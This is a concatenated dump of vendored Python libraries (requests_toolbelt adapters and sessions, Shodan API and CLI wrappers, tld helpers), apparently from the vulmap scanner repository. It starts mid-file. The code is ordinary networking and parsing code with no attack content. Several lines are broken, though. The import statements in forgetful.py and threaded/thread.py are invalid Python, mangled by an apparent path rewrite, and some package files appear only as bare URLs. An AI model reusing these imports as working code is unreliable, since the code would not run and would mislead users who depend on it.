== "host": 32 | host_header = request.headers[header] 33 | break 34 | 35 | connection_pool_kwargs = self.poolmanager.connection_pool_kw 36 | 37 | if host_header: 38 | connection_pool_kwargs["assert_hostname"] = host_header 39 | elif "assert_hostname" in connection_pool_kwargs: 40 | # an assert_hostname from a previous request may have been left 41 | connection_pool_kwargs.pop("assert_hostname", None) 42 | 43 | return super(HostHeaderSSLAdapter, self).send(request, **kwargs) 44 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/adapters/source.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | requests_toolbelt.source_adapter 4 | ================================ 5 | 6 | This file contains an implementation of the SourceAddressAdapter originally 7 | demonstrated on the Requests GitHub page. 8 | """ 9 | from thirdparty.requests.adapters import HTTPAdapter 10 | 11 | from .._compat import poolmanager, basestring 12 | 13 | 14 | class SourceAddressAdapter(HTTPAdapter): 15 | """ 16 | A Source Address Adapter for Python Requests that enables you to choose the 17 | local address to bind to. This allows you to send your HTTP requests from a 18 | specific interface and IP address. 19 | 20 | Two address formats are accepted. The first is a string: this will set the 21 | local IP address to the address given in the string, and will also choose a 22 | semi-random high port for the local port number. 23 | 24 | The second is a two-tuple of the form (ip address, port): for example, 25 | ``('10.10.10.10', 8999)``. This will set the local IP address to the first 26 | element, and the local port to the second element. If ``0`` is used as the 27 | port number, a semi-random high port will be selected. 28 | 29 | .. warning:: Setting an explicit local port can have negative interactions 30 | with connection-pooling in Requests: in particular, it risks 31 | the possibility of getting "Address in use" errors. The 32 | string-only argument is generally preferred to the tuple-form. 33 | 34 | Example usage: 35 | 36 | .. code-block:: python 37 | 38 | from thirdparty import requests 39 | from thirdparty.requests_toolbelt.adapters.source import SourceAddressAdapter 40 | 41 | s = requests.Session() 42 | s.mount('http://', SourceAddressAdapter('10.10.10.10')) 43 | s.mount('https://', SourceAddressAdapter(('10.10.10.10', 8999))) 44 | """ 45 | def __init__(self, source_address, **kwargs): 46 | if isinstance(source_address, basestring): 47 | self.source_address = (source_address, 0) 48 | elif isinstance(source_address, tuple): 49 | self.source_address = source_address 50 | else: 51 | raise TypeError( 52 | "source_address must be IP address string or (ip, port) tuple" 53 | ) 54 | 55 | super(SourceAddressAdapter, self).__init__(**kwargs) 56 | 57 | def init_poolmanager(self, connections, maxsize, block=False): 58 | self.poolmanager = poolmanager.PoolManager( 59 | num_pools=connections, 60 | maxsize=maxsize, 61 | block=block, 62 | source_address=self.source_address) 63 | 64 | def proxy_manager_for(self, *args, **kwargs): 65 | kwargs['source_address'] = self.source_address 66 | return super(SourceAddressAdapter, self).proxy_manager_for( 67 | *args, **kwargs) 68 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/adapters/ssl.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | requests_toolbelt.ssl_adapter 5 | ============================= 6 | 7 | This file contains an implementation of the SSLAdapter originally demonstrated 8 | in this blog post: 9 | https://lukasa.co.uk/2013/01/Choosing_SSL_Version_In_Requests/ 10 | 11 | """ 12 | from thirdparty import requests 13 | 14 | from thirdparty.requests.adapters import HTTPAdapter 15 | 16 | from .._compat import poolmanager 17 | 18 | 19 | class SSLAdapter(HTTPAdapter): 20 | """ 21 | A HTTPS Adapter for Python Requests that allows the choice of the SSL/TLS 22 | version negotiated by Requests. This can be used either to enforce the 23 | choice of high-security TLS versions (where supported), or to work around 24 | misbehaving servers that fail to correctly negotiate the default TLS 25 | version being offered. 26 | 27 | Example usage: 28 | 29 | >>> from thirdparty import requests 30 | >>> import ssl 31 | >>> from thirdparty.requests_toolbelt import SSLAdapter 32 | >>> s = requests.Session() 33 | >>> s.mount('https://', SSLAdapter(ssl.PROTOCOL_TLSv1)) 34 | 35 | You can replace the chosen protocol with any that are available in the 36 | default Python SSL module. All subsequent requests that match the adapter 37 | prefix will use the chosen SSL version instead of the default. 38 | 39 | This adapter will also attempt to change the SSL/TLS version negotiated by 40 | Requests when using a proxy. However, this may not always be possible: 41 | prior to Requests v2.4.0 the adapter did not have access to the proxy setup 42 | code. In earlier versions of Requests, this adapter will not function 43 | properly when used with proxies. 44 | """ 45 | 46 | __attrs__ = HTTPAdapter.__attrs__ + ['ssl_version'] 47 | 48 | def __init__(self, ssl_version=None, **kwargs): 49 | self.ssl_version = ssl_version 50 | 51 | super(SSLAdapter, self).__init__(**kwargs) 52 | 53 | def init_poolmanager(self, connections, maxsize, block=False): 54 | self.poolmanager = poolmanager.PoolManager( 55 | num_pools=connections, 56 | maxsize=maxsize, 57 | block=block, 58 | ssl_version=self.ssl_version) 59 | 60 | if requests.__build__ >= 0x020400: 61 | # Earlier versions of requests either don't have this method or, worse, 62 | # don't allow passing arbitrary keyword arguments. As a result, only 63 | # conditionally define this method. 64 | def proxy_manager_for(self, *args, **kwargs): 65 | kwargs['ssl_version'] = self.ssl_version 66 | return super(SSLAdapter, self).proxy_manager_for(*args, **kwargs) 67 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/auth/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/requests_toolbelt/auth/__init__.py -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/auth/_digest_auth_compat.py: -------------------------------------------------------------------------------- 1 | """Provide a compatibility layer for requests.auth.HTTPDigestAuth.""" 2 | from thirdparty import requests 3 | 4 | 5 | class _ThreadingDescriptor(object): 6 | def __init__(self, prop, default): 7 | self.prop = prop 8 | self.default = default 9 | 10 | def __get__(self, obj, objtype=None): 11 | return getattr(obj._thread_local, self.prop, self.default) 12 | 13 | def __set__(self, obj, value): 14 | setattr(obj._thread_local, self.prop, value) 15 | 16 | 17 | class _HTTPDigestAuth(requests.auth.HTTPDigestAuth): 18 | init = _ThreadingDescriptor('init', True) 19 | last_nonce = _ThreadingDescriptor('last_nonce', '') 20 | nonce_count = _ThreadingDescriptor('nonce_count', 0) 21 | chal = _ThreadingDescriptor('chal', {}) 22 | pos = _ThreadingDescriptor('pos', None) 23 | num_401_calls = _ThreadingDescriptor('num_401_calls', 1) 24 | 25 | 26 | if requests.__build__ < 0x020800: 27 | HTTPDigestAuth = requests.auth.HTTPDigestAuth 28 | else: 29 | HTTPDigestAuth = _HTTPDigestAuth 30 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/cookies/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/requests_toolbelt/cookies/__init__.py -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/cookies/forgetful.py: -------------------------------------------------------------------------------- 1 | """The module containing the code for ForgetfulCookieJar.""" 2 | from thirdparty.requests.cookies from thirdparty import requestsCookieJar 3 | 4 | 5 | class ForgetfulCookieJar(RequestsCookieJar): 6 | def set_cookie(self, *args, **kwargs): 7 | return 8 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/downloadutils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/requests_toolbelt/downloadutils/__init__.py -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/exceptions.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """Collection of exceptions raised by requests-toolbelt.""" 3 | 4 | 5 | class StreamingError(Exception): 6 | """Used in :mod:`requests_toolbelt.downloadutils.stream`.""" 7 | pass 8 | 9 | 10 | class VersionMismatchError(Exception): 11 | """Used to indicate a version mismatch in the version of requests required. 12 | 13 | The feature in use requires a newer version of Requests to function 14 | appropriately but the version installed is not sufficient. 15 | """ 16 | pass 17 | 18 | 19 | class RequestsVersionTooOld(Warning): 20 | """Used to indicate that the Requests version is too old. 21 | 22 | If the version of Requests is too old to support a feature, we will issue 23 | this warning to the user. 24 | """ 25 | pass 26 | 27 | 28 | class IgnoringGAECertificateValidation(Warning): 29 | """Used to indicate that given GAE validation behavior will be ignored. 30 | 31 | If the user has tried to specify certificate validation when using the 32 | insecure AppEngine adapter, it will be ignored (certificate validation will 33 | remain off), so we will issue this warning to the user. 34 | 35 | In :class:`requests_toolbelt.adapters.appengine.InsecureAppEngineAdapter`. 36 | """ 37 | pass 38 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/multipart/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | requests_toolbelt.multipart 3 | =========================== 4 | 5 | See http://toolbelt.rtfd.org/ for documentation 6 | 7 | :copyright: (c) 2014 by Ian Cordasco and Cory Benfield 8 | :license: Apache v2.0, see LICENSE for more details 9 | """ 10 | 11 | from .encoder import MultipartEncoder, MultipartEncoderMonitor 12 | from .decoder import MultipartDecoder 13 | from .decoder import ImproperBodyPartContentException 14 | from .decoder import NonMultipartContentTypeException 15 | 16 | __title__ = 'requests-toolbelt' 17 | __authors__ = 'Ian Cordasco, Cory Benfield' 18 | __license__ = 'Apache v2.0' 19 | __copyright__ = 'Copyright 2014 Ian Cordasco, Cory Benfield' 20 | 21 | __all__ = [ 22 | 'MultipartEncoder', 23 | 'MultipartEncoderMonitor', 24 | 'MultipartDecoder', 25 | 'ImproperBodyPartContentException', 26 | 'NonMultipartContentTypeException', 27 | '__title__', 28 | '__authors__', 29 | '__license__', 30 | '__copyright__', 31 | ] 32 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/sessions.py: -------------------------------------------------------------------------------- 1 | from thirdparty import requests 2 | 3 | from ._compat import urljoin 4 | 5 | 6 | class BaseUrlSession(requests.Session): 7 | """A Session with a URL that all requests will use as a base. 8 | 9 | Let's start by looking at an example: 10 | 11 | .. code-block:: python 12 | 13 | >>> from thirdparty.requests_toolbelt import sessions 14 | >>> s = sessions.BaseUrlSession( 15 | ... base_url='https://example.com/resource/') 16 | >>> r = s.get('sub-resource/' params={'foo': 'bar'}) 17 | >>> print(r.request.url) 18 | https://example.com/resource/sub-resource/?foo=bar 19 | 20 | Our call to the ``get`` method will make a request to the URL passed in 21 | when we created the Session and the partial resource name we provide. 22 | 23 | We implement this by overriding the ``request`` method so most uses of a 24 | Session are covered. (This, however, precludes the use of PreparedRequest 25 | objects). 26 | 27 | .. note:: 28 | 29 | The base URL that you provide and the path you provide are **very** 30 | important. 31 | 32 | Let's look at another *similar* example 33 | 34 | .. code-block:: python 35 | 36 | >>> from thirdparty.requests_toolbelt import sessions 37 | >>> s = sessions.BaseUrlSession( 38 | ... base_url='https://example.com/resource/') 39 | >>> r = s.get('/sub-resource/' params={'foo': 'bar'}) 40 | >>> print(r.request.url) 41 | https://example.com/sub-resource/?foo=bar 42 | 43 | The key difference here is that we called ``get`` with ``/sub-resource/``, 44 | i.e., there was a leading ``/``. This changes how we create the URL 45 | because we rely on :mod:`urllib.parse.urljoin`. 46 | 47 | To override how we generate the URL, sub-class this method and override the 48 | ``create_url`` method. 49 | 50 | Based on implementation from 51 | https://github.com/kennethreitz/requests/issues/2554#issuecomment-109341010 52 | """ 53 | 54 | base_url = None 55 | 56 | def __init__(self, base_url=None): 57 | if base_url: 58 | self.base_url = base_url 59 | super(BaseUrlSession, self).__init__() 60 | 61 | def request(self, method, url, *args, **kwargs): 62 | """Send the request after generating the complete URL.""" 63 | url = self.create_url(url) 64 | return super(BaseUrlSession, self).request( 65 | method, url, *args, **kwargs 66 | ) 67 | 68 | def create_url(self, url): 69 | """Create the URL based off this partial path.""" 70 | return urljoin(self.base_url, url) 71 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/threaded/thread.py: -------------------------------------------------------------------------------- 1 | """Module containing the SessionThread class.""" 2 | import threading 3 | import uuid 4 | 5 | from thirdparty import requests.exceptions as exc 6 | 7 | from .._compat import queue 8 | 9 | 10 | class SessionThread(object): 11 | def __init__(self, initialized_session, job_queue, response_queue, 12 | exception_queue): 13 | self._session = initialized_session 14 | self._jobs = job_queue 15 | self._create_worker() 16 | self._responses = response_queue 17 | self._exceptions = exception_queue 18 | 19 | def _create_worker(self): 20 | self._worker = threading.Thread( 21 | target=self._make_request, 22 | name=uuid.uuid4(), 23 | ) 24 | self._worker.daemon = True 25 | self._worker._state = 0 26 | self._worker.start() 27 | 28 | def _handle_request(self, kwargs): 29 | try: 30 | response = self._session.request(**kwargs) 31 | except exc.RequestException as e: 32 | self._exceptions.put((kwargs, e)) 33 | else: 34 | self._responses.put((kwargs, response)) 35 | finally: 36 | self._jobs.task_done() 37 | 38 | def _make_request(self): 39 | while True: 40 | try: 41 | kwargs = self._jobs.get_nowait() 42 | except queue.Empty: 43 | break 44 | 45 | self._handle_request(kwargs) 46 | 47 | def is_alive(self): 48 | """Proxy to the thread's ``is_alive`` method.""" 49 | return self._worker.is_alive() 50 | 51 | def join(self): 52 | """Join this thread to the master thread.""" 53 | self._worker.join() 54 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/requests_toolbelt/utils/__init__.py -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/utils/deprecated.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """A collection of functions deprecated in requests.utils.""" 3 | import re 4 | import sys 5 | 6 | from thirdparty.requests import utils 7 | 8 | find_charset = re.compile( 9 | br']', flags=re.I 10 | ).findall 11 | 12 | find_pragma = re.compile( 13 | br']', flags=re.I 14 | ).findall 15 | 16 | find_xml = re.compile( 17 | br'^<\?xml.*?encoding=["\']*(.+?)["\'>]' 18 | ).findall 19 | 20 | 21 | def get_encodings_from_content(content): 22 | """Return encodings from given content string. 23 | 24 | .. code-block:: python 25 | 26 | from thirdparty import requests 27 | from thirdparty.requests_toolbelt.utils import deprecated 28 | 29 | r = requests.get(url) 30 | encodings = deprecated.get_encodings_from_content(r) 31 | 32 | :param content: bytestring to extract encodings from 33 | :type content: bytes 34 | :return: encodings detected in the provided content 35 | :rtype: list(str) 36 | """ 37 | encodings = (find_charset(content) + find_pragma(content) 38 | + find_xml(content)) 39 | if (3, 0) <= sys.version_info < (4, 0): 40 | encodings = [encoding.decode('utf8') for encoding in encodings] 41 | return encodings 42 | 43 | 44 | def get_unicode_from_response(response): 45 | """Return the requested content back in unicode. 46 | 47 | This will first attempt to retrieve the encoding from the response 48 | headers. If that fails, it will use 49 | :func:`requests_toolbelt.utils.deprecated.get_encodings_from_content` 50 | to determine encodings from HTML elements. 51 | 52 | .. code-block:: python 53 | 54 | from thirdparty import requests 55 | from thirdparty.requests_toolbelt.utils import deprecated 56 | 57 | r = requests.get(url) 58 | text = deprecated.get_unicode_from_response(r) 59 | 60 | :param response: Response object to get unicode content from. 61 | :type response: requests.models.Response 62 | """ 63 | tried_encodings = set() 64 | 65 | # Try charset from content-type 66 | encoding = utils.get_encoding_from_headers(response.headers) 67 | 68 | if encoding: 69 | try: 70 | return str(response.content, encoding) 71 | except UnicodeError: 72 | tried_encodings.add(encoding.lower()) 73 | 74 | encodings = get_encodings_from_content(response.content) 75 | 76 | for _encoding in encodings: 77 | _encoding = _encoding.lower() 78 | if _encoding in tried_encodings: 79 | continue 80 | try: 81 | return str(response.content, _encoding) 82 | except UnicodeError: 83 | tried_encodings.add(_encoding) 84 | 85 | # Fall back: 86 | if encoding: 87 | try: 88 | return str(response.content, encoding, errors='replace') 89 | except TypeError: 90 | pass 91 | return response.text 92 | -------------------------------------------------------------------------------- /thirdparty/shodan/__init__.py: -------------------------------------------------------------------------------- 1 | from thirdparty.shodan.client import Shodan 2 | from thirdparty.shodan.exception import APIError 3 | -------------------------------------------------------------------------------- /thirdparty/shodan/cli/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/shodan/cli/__init__.py -------------------------------------------------------------------------------- /thirdparty/shodan/cli/converter/__init__.py: -------------------------------------------------------------------------------- 1 | from .csvc import CsvConverter 2 | from .excel import ExcelConverter 3 | from .geojson import GeoJsonConverter 4 | from .images import ImagesConverter 5 | from .kml import KmlConverter 6 | -------------------------------------------------------------------------------- /thirdparty/shodan/cli/converter/base.py: -------------------------------------------------------------------------------- 1 | 2 | class Converter: 3 | 4 | def __init__(self, fout): 5 | self.fout = fout 6 | 7 | def process(self, fout): 8 | pass 9 | -------------------------------------------------------------------------------- /thirdparty/shodan/cli/converter/geojson.py: -------------------------------------------------------------------------------- 1 | from json import dumps 2 | from .base import Converter 3 | from ...helpers import get_ip, iterate_files 4 | 5 | 6 | class GeoJsonConverter(Converter): 7 | 8 | def header(self): 9 | self.fout.write("""{ 10 | "type": "FeatureCollection", 11 | "features": [ 12 | """) 13 | 14 | def footer(self): 15 | self.fout.write("""{ }]}""") 16 | 17 | def process(self, files): 18 | # Write the header 19 | self.header() 20 | 21 | # We only want to generate 1 datapoint for each IP - not per service 22 | unique_hosts = set() 23 | for banner in iterate_files(files): 24 | ip = get_ip(banner) 25 | if not ip: 26 | continue 27 | 28 | if ip not in unique_hosts: 29 | self.write(ip, banner) 30 | unique_hosts.add(ip) 31 | 32 | self.footer() 33 | 34 | def write(self, ip, host): 35 | try: 36 | lat, lon = host['location']['latitude'], host['location']['longitude'] 37 | feature = { 38 | 'type': 'Feature', 39 | 'id': ip, 40 | 'properties': { 41 | 'name': ip, 42 | 'lat': lat, 43 | 'lon': lon, 44 | }, 45 | 'geometry': { 46 | 'type': 'Point', 47 | 'coordinates': [lon, lat], 48 | }, 49 | } 50 | self.fout.write(dumps(feature) + ',') 51 | except Exception: 52 | pass 53 | -------------------------------------------------------------------------------- /thirdparty/shodan/cli/converter/images.py: -------------------------------------------------------------------------------- 1 | 2 | from .base import Converter 3 | from ...helpers import iterate_files, get_ip, get_screenshot 4 | 5 | # Needed for decoding base64-strings in Python3 6 | from codecs import decode 7 | 8 | import os 9 | 10 | 11 | class ImagesConverter(Converter): 12 | 13 | # The Images converter is special in that it creates a directory and there's 14 | # special code in the Shodan CLI that relies on the "dirname" property to let 15 | # the user know where the images have been stored. 16 | dirname = None 17 | 18 | def process(self, files): 19 | # Get the filename from the already-open file handle and use it as 20 | # the directory name to store the images. 21 | self.dirname = self.fout.name[:-7] + '-images' 22 | 23 | # Remove the original file that was created 24 | self.fout.close() 25 | os.unlink(self.fout.name) 26 | 27 | # Create the directory if it doesn't yet exist 28 | if not os.path.exists(self.dirname): 29 | os.mkdir(self.dirname) 30 | 31 | # Close the existing file as the XlsxWriter library handles that for us 32 | self.fout.close() 33 | 34 | # Loop through all the banners in the data file 35 | for banner in iterate_files(files): 36 | screenshot = get_screenshot(banner) 37 | if screenshot: 38 | filename = '{}/{}-{}'.format(self.dirname, get_ip(banner), banner['port']) 39 | 40 | # If a file with the name already exists then count up until we 41 | # create a new, unique filename 42 | counter = 0 43 | tmpname = filename 44 | while os.path.exists(tmpname + '.jpg'): 45 | tmpname = '{}-{}'.format(filename, counter) 46 | counter += 1 47 | filename = tmpname + '.jpg' 48 | 49 | fout = open(filename, 'wb') 50 | fout.write(decode(screenshot['data'].encode(), 'base64')) 51 | fout.close() 52 | -------------------------------------------------------------------------------- /thirdparty/shodan/cli/organization.py: -------------------------------------------------------------------------------- 1 | import click 2 | from thirdparty import shodan 3 | 4 | from thirdparty.shodan.cli.helpers import get_api_key, humanize_api_plan 5 | 6 | 7 | @click.group() 8 | def org(): 9 | """Manage your organization's access to Shodan""" 10 | pass 11 | 12 | 13 | @org.command() 14 | @click.option('--silent', help="Don't send a notification to the user", default=False, is_flag=True) 15 | @click.argument('user', metavar='') 16 | def add(silent, user): 17 | """Add a new member""" 18 | key = get_api_key() 19 | api = shodan.Shodan(key) 20 | 21 | try: 22 | api.org.add_member(user, notify=not silent) 23 | except shodan.APIError as e: 24 | raise click.ClickException(e.value) 25 | 26 | click.secho('Successfully added the new member', fg='green') 27 | 28 | 29 | @org.command() 30 | def info(): 31 | """Show an overview of the organization""" 32 | key = get_api_key() 33 | api = shodan.Shodan(key) 34 | try: 35 | organization = api.org.info() 36 | except shodan.APIError as e: 37 | raise click.ClickException(e.value) 38 | 39 | click.secho(organization['name'], fg='cyan') 40 | click.secho('Access Level: ', nl=False, dim=True) 41 | click.secho(humanize_api_plan(organization['upgrade_type']), fg='magenta') 42 | 43 | if organization['domains']: 44 | click.secho('Authorized Domains: ', nl=False, dim=True) 45 | click.echo(', '.join(organization['domains'])) 46 | 47 | click.echo('') 48 | click.secho('Administrators:', dim=True) 49 | 50 | for admin in organization['admins']: 51 | click.echo(u' > {:30}\t{:30}'.format( 52 | click.style(admin['username'], fg='yellow'), 53 | admin['email']) 54 | ) 55 | 56 | click.echo('') 57 | if organization['members']: 58 | click.secho('Members:', dim=True) 59 | for member in organization['members']: 60 | click.echo(u' > {:30}\t{:30}'.format( 61 | click.style(member['username'], fg='yellow'), 62 | member['email']) 63 | ) 64 | else: 65 | click.secho('No members yet', dim=True) 66 | 67 | 68 | @org.command() 69 | @click.argument('user', metavar='') 70 | def remove(user): 71 | """Remove and downgrade a member""" 72 | key = get_api_key() 73 | api = shodan.Shodan(key) 74 | 75 | try: 76 | api.org.remove_member(user) 77 | except shodan.APIError as e: 78 | raise click.ClickException(e.value) 79 | 80 | click.secho('Successfully removed the member', fg='green') 81 | -------------------------------------------------------------------------------- /thirdparty/shodan/cli/settings.py: -------------------------------------------------------------------------------- 1 | 2 | from os import path 3 | 4 | if path.exists(path.expanduser("~/.shodan")): 5 | SHODAN_CONFIG_DIR = '~/.shodan/' 6 | else: 7 | SHODAN_CONFIG_DIR = "~/.config/shodan/" 8 | 9 | COLORIZE_FIELDS = { 10 | 'ip_str': 'green', 11 | 'port': 'yellow', 12 | 'data': 'white', 13 | 'hostnames': 'magenta', 14 | 'org': 'cyan', 15 | 'vulns': 'red', 16 | } 17 | -------------------------------------------------------------------------------- /thirdparty/shodan/exception.py: -------------------------------------------------------------------------------- 1 | class APIError(Exception): 2 | """This exception gets raised whenever a non-200 status code was returned by the Shodan API.""" 3 | def __init__(self, value): 4 | self.value = value 5 | 6 | def __str__(self): 7 | return self.value 8 | 9 | 10 | class APITimeout(APIError): 11 | pass 12 | -------------------------------------------------------------------------------- /thirdparty/shodan/threatnet.py: -------------------------------------------------------------------------------- 1 | from thirdparty import requests 2 | import json 3 | 4 | from .exception import APIError 5 | 6 | 7 | class Threatnet: 8 | """Wrapper around the Threatnet REST and Streaming APIs 9 | 10 | :param key: The Shodan API key that can be obtained from your account page (https://account.shodan.io) 11 | :type key: str 12 | :ivar stream: An instance of `shodan.Threatnet.Stream` that provides access to the Streaming API. 13 | """ 14 | 15 | class Stream: 16 | 17 | base_url = 'https://stream.shodan.io' 18 | 19 | def __init__(self, parent, proxies=None): 20 | self.parent = parent 21 | self.proxies = proxies 22 | 23 | def _create_stream(self, name): 24 | try: 25 | req = requests.get(self.base_url + name, params={'key': self.parent.api_key}, 26 | stream=True, proxies=self.proxies) 27 | except Exception: 28 | raise APIError('Unable to contact the Shodan Streaming API') 29 | 30 | if req.status_code != 200: 31 | try: 32 | raise APIError(req.json()['error']) 33 | except Exception: 34 | pass 35 | raise APIError('Invalid API key or you do not have access to the Streaming API') 36 | return req 37 | 38 | def events(self): 39 | stream = self._create_stream('/threatnet/events') 40 | for line in stream.iter_lines(): 41 | if line: 42 | banner = json.loads(line) 43 | yield banner 44 | 45 | def backscatter(self): 46 | stream = self._create_stream('/threatnet/backscatter') 47 | for line in stream.iter_lines(): 48 | if line: 49 | banner = json.loads(line) 50 | yield banner 51 | 52 | def activity(self): 53 | stream = self._create_stream('/threatnet/ssh') 54 | for line in stream.iter_lines(): 55 | if line: 56 | banner = json.loads(line) 57 | yield banner 58 | 59 | def __init__(self, key): 60 | """Initializes the API object. 61 | 62 | :param key: The Shodan API key. 63 | :type key: str 64 | """ 65 | self.api_key = key 66 | self.base_url = 'https://api.shodan.io' 67 | self.stream = self.Stream(self) 68 | -------------------------------------------------------------------------------- /thirdparty/tld/__init__.py: -------------------------------------------------------------------------------- 1 | from .utils import ( 2 | get_fld, 3 | get_tld, 4 | get_tld_names, 5 | is_tld, 6 | parse_tld, 7 | Result, 8 | update_tld_names, 9 | ) 10 | 11 | __title__ = 'tld' 12 | __version__ = '0.12.5' 13 | __author__ = 'Artur Barseghyan' 14 | __copyright__ = '2013-2021 Artur Barseghyan' 15 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 16 | __all__ = ( 17 | 'get_fld', 18 | 'get_tld', 19 | 'get_tld_names', 20 | 'is_tld', 21 | 'parse_tld', 22 | 'Result', 23 | 'update_tld_names', 24 | ) 25 | -------------------------------------------------------------------------------- /thirdparty/tld/base.py: -------------------------------------------------------------------------------- 1 | from codecs import open as codecs_open 2 | from urllib.request import urlopen 3 | from typing import Optional 4 | 5 | from .exceptions import ( 6 | TldIOError, 7 | TldImproperlyConfigured, 8 | ) 9 | from .helpers import project_dir 10 | from .registry import Registry 11 | 12 | __author__ = 'Artur Barseghyan' 13 | __copyright__ = '2013-2020 Artur Barseghyan' 14 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 15 | __all__ = ('BaseTLDSourceParser',) 16 | 17 | 18 | class BaseTLDSourceParser(metaclass=Registry): 19 | """Base TLD source parser.""" 20 | 21 | uid: Optional[str] = None 22 | source_url: str 23 | local_path: str 24 | include_private: bool = True 25 | 26 | @classmethod 27 | def validate(cls): 28 | """Constructor.""" 29 | if not cls.uid: 30 | raise TldImproperlyConfigured( 31 | "The `uid` property of the TLD source parser shall be defined." 32 | ) 33 | 34 | @classmethod 35 | def get_tld_names(cls, fail_silently: bool = False, retry_count: int = 0): 36 | """Get tld names. 37 | 38 | :param fail_silently: 39 | :param retry_count: 40 | :return: 41 | """ 42 | cls.validate() 43 | raise NotImplementedError( 44 | "Your TLD source parser shall implement `get_tld_names` method." 45 | ) 46 | 47 | @classmethod 48 | def update_tld_names(cls, fail_silently: bool = False) -> bool: 49 | """Update the local copy of the TLD file. 50 | 51 | :param fail_silently: 52 | :return: 53 | """ 54 | try: 55 | remote_file = urlopen(cls.source_url) 56 | local_file = codecs_open( 57 | project_dir(cls.local_path), 58 | 'wb', 59 | encoding='utf8' 60 | ) 61 | local_file.write(remote_file.read().decode('utf8')) 62 | local_file.close() 63 | remote_file.close() 64 | except Exception as err: 65 | if fail_silently: 66 | return False 67 | raise TldIOError(err) 68 | 69 | return True 70 | -------------------------------------------------------------------------------- /thirdparty/tld/conf.py: -------------------------------------------------------------------------------- 1 | from typing import Any 2 | from . import defaults 3 | 4 | __author__ = 'Artur Barseghyan' 5 | __copyright__ = '2013-2020 Artur Barseghyan' 6 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 7 | __all__ = ( 8 | 'get_setting', 9 | 'reset_settings', 10 | 'set_setting', 11 | 'settings', 12 | ) 13 | 14 | 15 | class Settings(object): 16 | """Settings registry.""" 17 | 18 | def __init__(self): 19 | self._settings = {} 20 | self._settings_get = self._settings.get 21 | 22 | def set(self, name: str, value: Any) -> None: 23 | """ 24 | Override default settings. 25 | 26 | :param str name: 27 | :param mixed value: 28 | """ 29 | self._settings[name] = value 30 | 31 | def get(self, name: str, default: Any = None) -> Any: 32 | """ 33 | Gets a variable from local settings. 34 | 35 | :param str name: 36 | :param mixed default: Default value. 37 | :return mixed: 38 | """ 39 | if name in self._settings: 40 | return self._settings_get(name, default) 41 | elif hasattr(defaults, name): 42 | return getattr(defaults, name, default) 43 | 44 | return default 45 | 46 | def reset(self) -> None: 47 | """Reset settings.""" 48 | for name in defaults.__all__: 49 | self.set(name, getattr(defaults, name)) 50 | 51 | 52 | settings = Settings() 53 | 54 | get_setting = settings.get 55 | 56 | set_setting = settings.set 57 | 58 | reset_settings = settings.reset 59 | -------------------------------------------------------------------------------- /thirdparty/tld/defaults.py: -------------------------------------------------------------------------------- 1 | from os.path import dirname 2 | 3 | __author__ = 'Artur Barseghyan' 4 | __copyright__ = '2013-2020 Artur Barseghyan' 5 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 6 | __all__ = ( 7 | 'DEBUG', 8 | 'NAMES_LOCAL_PATH_PARENT', 9 | ) 10 | 11 | # Absolute base path that is prepended to NAMES_LOCAL_PATH 12 | NAMES_LOCAL_PATH_PARENT = dirname(__file__) 13 | 14 | DEBUG = False 15 | -------------------------------------------------------------------------------- /thirdparty/tld/exceptions.py: -------------------------------------------------------------------------------- 1 | __author__ = 'Artur Barseghyan' 2 | __copyright__ = '2013-2020 Artur Barseghyan' 3 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 4 | __all__ = ( 5 | 'TldBadUrl', 6 | 'TldDomainNotFound', 7 | 'TldImproperlyConfigured', 8 | 'TldIOError', 9 | ) 10 | 11 | 12 | class TldIOError(IOError): 13 | """TldIOError. 14 | 15 | Supposed to be thrown when problems with reading/writing occur. 16 | """ 17 | 18 | 19 | class TldDomainNotFound(ValueError): 20 | """TldDomainNotFound. 21 | 22 | Supposed to be thrown when domain name is not found (didn't match) the 23 | local TLD policy. 24 | """ 25 | 26 | def __init__(self, domain_name): 27 | super(TldDomainNotFound, self).__init__( 28 | "Domain %s didn't match any existing TLD name!" % domain_name 29 | ) 30 | 31 | 32 | class TldBadUrl(ValueError): 33 | """TldBadUrl. 34 | 35 | Supposed to be thrown when bad URL is given. 36 | """ 37 | 38 | def __init__(self, url): 39 | super(TldBadUrl, self).__init__("Is not a valid URL %s!" % url) 40 | 41 | 42 | class TldImproperlyConfigured(Exception): 43 | 